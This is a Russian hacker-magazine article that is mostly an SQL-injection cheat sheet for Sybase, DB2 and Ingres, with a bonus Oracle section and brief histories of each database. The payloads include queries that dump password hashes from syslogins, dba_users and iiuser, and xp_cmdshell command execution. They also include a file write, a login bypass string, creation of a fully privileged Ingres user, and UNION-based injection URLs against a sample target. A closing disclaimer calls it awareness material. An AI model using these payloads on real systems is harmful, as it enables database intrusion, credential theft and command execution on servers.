Разрушая базыЕвгений «Corwin» Ермаков Хакер, номер #105, стр. 082 Внедряем SQL в DB2, Sybase и IngresКак ни странно, но практически каждый месяц в рунете появляются все новые и новые мануалы по SQL-injection. И все они, «как полагается», посвящены инъекциям в MySQL. Чтобы наконец-таки положить этому конец, была написана первая часть статьи «Разрушая базы», в который были рассмотрены инъекции в PostgreSQL и Oracle, ну а сейчас ты видишь перед собой ее продолжение, и теперь мы будем внедрять SQL в еще более экзотические системы управления базами данных: DB2, Sybase и Ingres. Если ты думаешь, что эти СУБД не встречаются во Всемирной паутине, то сильно ошибаешься. ИсторияПрежде чем углубляться описание особенностей инъекций в названные СУБД, следует сказать несколько слов о том, что они вообще собой представляют, и об их истории, поскольку я не исключаю того обстоятельства, что ты мог вообще никогда не слышать о DB2, Ingres, Sybase. Заглянем в Вики. SybaseВплоть до версии 4.9, Sybase SQL Server и Microsoft SQL Server были практически идентичными. Однако в связи с возникшими разногласиями между компаниями, связанными с вопросами разделения доходов, Sybase и Microsoft приняли решение прекратить совместное развитие продукта, несмотря на очевидное наличие общего наследия в виде процедурного языка Transact-SQL (T-SQL) и одинаковой архитектуры. Существенное отличие заключалось в том, что Sybase была основана на базе UNIX-архитектуры, в то время как Microsoft практически сразу ушла с UNIX и целиком сконцентрировалась на платформе Windows NT. В настоящее время Sybase продолжает поддерживать и развивать версии для семейства Windows и различных UNIX-платформ (IBM AIX, HP-UX, Sun Solaris, GNU/Linux и другие). IBM DB2DB2 имеет долгую историю и, как некоторые считают, стала первой СУБД, использующей SQL. СУБД получила название DB2 в 1982 году, когда был выпущен ее релиз, а также SQL/DS, для мэйнфреймов. С 1978 года до этого момента продукт называется System Relational, или System R. История этой СУБД уходит корнями в начало 70-х, когда доктор Э.Ф. Кодд, работавший на IBM, создал теорию реляционных баз данных, в июне 1970 года опубликовав модель манипуляции данными. Для реализации этой модели он разработал язык реляционных баз данных и назвал его Alpha. IBM же предпочла поручить дальнейшую работу группе программистов, неподконтрольной доктору Кодду. Нарушив некоторые принципы реляционной модели, они реализовали ее как «Структурированный английский язык запросов», сокращенно SEQUEL. Поскольку торговая марка SEQUEL уже была зарегистрирована, название сократили до SQL - «Структурированный язык запросов», таким оно осталось и по сей день. IngresПроект и экспериментальный вариант СУБД Ingres были разработаны в университете Беркли под руководством одного из наиболее известных в мире ученых и специалистов в области баз данных Майкла Стоунбрейкера (Michael Stonebraker). С самого начала СУБД Ingres создавалась как мобильная система, функционирующая в среде ОС UNIX. Первая версия Ingres была рассчитана на 16-разрядные компьютеры и работала главным образом на машинах серии PDP. Это была первая СУБД, распространяемая бесплатно для использования в университетах. Впоследствии группа Стоунбрейкера перенесла Ingres в среду ОС UNIX BSD, которая также была разработана в университете Беркли. Семейство СУБД Ingres из университета Беркли принято называть «университетской Ingres». В настоящее время коммерческая Ingres поддерживается, развивается и продается компанией Computer Associates. Сейчас это одна из развитых коммерческих реляционных СУБД. Ingres - это очень быстрая СУБД, и ее выбирают те, для кого главным фактором является скорость работы, выполнения запросов. SQL-injection в SybaseВот мы и добрались до самого интересного. Сейчас я поведаю тебе, как укротить Sybase мощными SQL-инъекциями.
select @@version
string1 + string2
create table myfile (record varchar(2000)) external file at "c:\temp\file.txt" insert into myfile values(0xYOU_BINARY_DATA)"
declare @cmd varchar(255) select @cmd='echo blablabla >> c:\file.txt' exec xp_cmdshell @cmd
select name,password,* from syslogins where name like 'GA0%'
xp_cmdshell 'command' Sql-injection в DB2А теперь запоминаем несколько фишек, применимых к DB2:
select name from sysibm.systables; or select tabnema from syscat.tables;
select name, tbname, coltype from sysibm.syscolumns;
select current server from sysibm.sysdummy1;
select user from sysibm.sysdummy1; select session_user from sysibm.sysdummy1;
select versionnumber, version_timestamp from sysibm.sysversions;
select 'x'||'a' or select 'x' concat 'a'
select username, password from dba_users;
select current server from sysibm.sysdummy1;
В качестве напоминания скажу, что если ошибка присутствует при авторизации, то тут все стандартно. Допустим, к БД отсылается такой запрос: select adress from users where user='admin' and pass='secretpass' Видим, что истинным паролем является secretpass, что не имеет для нас значения :). Добавляем небольшую строку от себя, введя в поле пароля следующее: blablabla' or 'x'='x Теперь запрос принимает следующий вид: select adress from users where user='admin' and pass='blablabla' or 'x'='x Условие «правильный_пароль ИЛИ символ_'x' == символу_'x'» истинно, и авторизация успешно надломана. Еще не конецКогда я уже собирался сдавать материал, мне на мыло отписал мой заграничный приятель, который знал, о чем я пишу статью, и скинул мне свои наработки по инъекциям в Ingres, о которых я лишь пару раз слышал (за что ему биг респект). Sql-injection в Ingres
select table_name, table_owner from iitables; select relid, relowner, relloc from iirelation; select relid, relowner, relloc from iirelation where relowner != '$ingres';
select column_name, column_datatype, table_name, table_owner from iicolumns;
select dbmsinfo('session_user');
select dbmsinfo('database');
select dbmsinfo('_version');
select name, password from iiuser;
select dbmsinfo(’db_privileges’); select dbmsinfo(’security_priv’); select dbmsinfo(’current_priv_mask’); select dbmsinfo(’db_admin’); select dbmsinfo(’create_table’); select dbmsinfo(’create_procedure’); select dbmsinfo(’select_syscat’);
SUBSTR (str,pos,len) - возвращает подстроку длиной len символов из строки str, начиная от позиции pos.
create user pm with password = ‘password’; grant all on current installation to pm; Занимательные вторжения в OracleВ качестве бонуса публикую часть недокументированных особенностей Oracle, которыми можно запросто вызвать занятные SQL-инъекции: 1. Просмотреть названия таблиц можно с помощью таблицы sys.all_tables или user_tables(sys.user_tables). Запросыhttp://target/release.cfm?ArticleID=-1 union select 1,null,null,null,table_name from sys.all_tables-- http://target/release.cfm?ArticleID=-1 union select 1,null,null,null,table_name from user_tables-- ВыводВ обоих случаях - страница сайта с названием таблицы ARTICLEINFO. 2. Названия колонок находятся в таблице user_tab_columns(sys.user_tab_columns). Запросhttp://target/release.cfm?ArticleID=-1 union select 1,null,null,null,column_name from user_tab_columns-- ВыводСтраница сайта с названием колонки AC. 3. Узнать версию Оракла достаточно просто. Запросhttp://target/release.cfm?ArticleID=-1 union select 1,banner,null,null,null from v$version-- ВыводCORE 9.2.0.7.0 Production WWW
INFOНе стоит воспринимать представленную в статье информацию как призыв к атаке. Она предназначена для руководителей компаний, которые считают, что атакам подвержены только известные СУБД. Советую прочесть первую часть статьи «Разрушая базы». Статья была полностью переписана и дополнена. Можно найти ее на форуме http://0x48k.cc или прочесть первоначальный вариант в одном из предыдущих номеров ][. DVDНа диске находится полный архив документации по Ingres, а также сами системы Ingres и DB2. |